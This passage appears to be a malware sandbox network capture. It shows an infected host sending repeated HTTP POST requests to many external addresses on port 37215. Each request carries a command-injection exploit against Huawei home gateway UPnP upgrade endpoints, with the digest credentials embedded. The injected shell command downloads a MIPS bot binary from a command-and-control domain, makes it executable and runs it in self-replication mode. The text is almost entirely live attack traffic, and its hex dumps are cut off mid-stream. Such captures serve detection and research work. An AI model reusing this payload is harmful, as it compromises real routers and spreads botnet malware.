huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	38706	197.29.27.45	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.335434914 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	49060	156.48.218.124	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.373259068 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	45258	156.227.235.113	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.375488997 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	56704	41.11.98.189	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.376574039 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	39294	156.121.39.131	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.405170918 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	48064	156.226.176.193	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.407569885 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	37184	41.93.241.64	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:47.336266041 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	57526	156.198.67.203	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:47.337122917 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	44002	197.160.183.42	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:47.340228081 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	33544	156.15.227.166	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:47.341087103 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	48836	41.176.3.251	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.359009027 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 